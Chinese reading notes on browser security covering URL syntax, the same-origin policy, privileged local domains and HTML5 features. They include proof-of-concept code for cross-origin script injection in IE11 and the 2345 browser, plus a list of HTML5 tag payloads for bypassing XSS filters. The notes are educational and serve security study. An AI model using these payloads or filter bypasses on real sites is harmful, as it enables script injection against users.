浏览器安全基础笔记整理
整理内容来自《白帽子讲浏览器安全》的读后笔记,
1、URL标准
scheme://[user:password@]domain:port/path?query_string#fragments
domain:域名或IP,如使用 IPv6 地址,必须在中括号中括起来,如 http://[::1] 。
fragments:片段字串,表明文档资源的某个部分的位置,在浏览器中处理时,不会发起网络请求。
2、SOP 同源准则
SOP用来保护一个恶意页面的代码访问另一个页面的敏感内容,具体判断如下:

在通过 document.domain 修改源时,只能够设置它的上级域,如将 a.xxx.com 和 b.xxx.com 的域修改为 xxx.com,即只能跨子域。
对于 about:blank、javascript:、data:伪协议,未指定任何与源相关的信息,在浏览器加载的时候,他们继承了加载的文档的源,由于这个原因,一旦浏览器在处理相关伪协议代码逻辑中出现问题,就会导致绕过同源限制,出现跨任意域执行脚本的情况。
case1:IE11跨任意域脚本注入
演示代码:
<html> <head><meta charset="utf-8"></head> <body> <iframe src="redirect.php" ></iframe> <iframe src="https://www.google.com/image/logo.png" ></iframe> <script> window.top[0].eval('_=window.top[1];alert();_.location="javascript:alert(document.domain)"'); </script> </body> </html>
在上述代码中,第一个 iframe 窗口加载本地 redirect.php 文件,会先休眠几秒然后跳转到要 www.google.com 域,而第二个 iframe 窗口直接访问 www.google.com 域的文件。
通过给第一个窗口注入修改第二个窗口的JS代码,在 redirect.php 未跳转之前(休眠期间),第一个窗口的域是本地攻击者的域,因此有权限让注入的脚本执行。然后当 redirect.php 休眠结束,跳转到 www.google.com 域后,IE浏览器更新源为 <https,www.google.com,443> ,此时用户点击后第二个窗口注入的脚本中的被 alert 阻塞的脚本后的 _.location="javascript:alert(document.domain)" 开始执行,此时已经和 www.google.com 域同源了,造成跨域漏洞。
case2:2345浏览器跨任意域脚本注入
演示代码:
<a href='javascript:go();' id="baidu">clike me</a> <script> function go(){ window.open('http://www.baidu.com/','x'); window.open('javascript:alert(document.domain);','x'); } </script>
在该代码中,两次通过 window.open 打开窗口,第一次打开的 www.baidu.com 域,第二次通过 javascript: 伪协议加载,但是两个窗口都定义为同一个('x'),此时浏览器在执行第二次 javascript: 伪协议加载时,未进行同源判断(第一个的源是 <http,www.baidu.com,80>,第二个是继承的本地源),因此导致了跨域脚本注入。
在web漏洞中,经常遇见 CROS 配置不当,导致的跨域获取敏感信息的 case,这方面也导致了不少安全问题。
3、特权域
特权域也称本地域,顾名思义,在该域中可以有很大的权限,如果限制不当,可被利用来下载、上传文件,之前wuyun爆的大部分是存在浏览器插件中,能够达到远程代码执行的效果。关于每个浏览器,其特权域的权限有所不同。需要注意的是,本地域和网络域(通常web网页所在域)是禁止互相操作的,一旦存在从网络域跨到特权域,很容易造成攻击。
在我之前的博客 http://www.cnblogs.com/iyiyang/articles/8660735.html ,即是通过 PhantomJS 内置的 webkit 去执行的脚本代码,调用的本地 file: 域操作的本地文件,而在网络域中是无法操作的。
4、HTML5新特性
在HTML5中有很多的新标签,使用不当很容易绕过xss-filter限制,poc如下:
<input autofocus onfocus=alert(1)> <iframe srcdoc='<img src=x onerror=alert(1)>'> <svg><script>alert(+1)</script></svg> <form><button formaction="javascript:alert(1)">click</button></form> <video> 同 <audio> <video><source onerror=alert(1)></video> <audio><source onerror=alert(1)></audio> <audio src=x onerror=alert(1)></audio> <img srcset=x onerror=alert(1)> <picture><source srcset=x><img onerror=alert(1)></picture>
浙公网安备 33010602011771号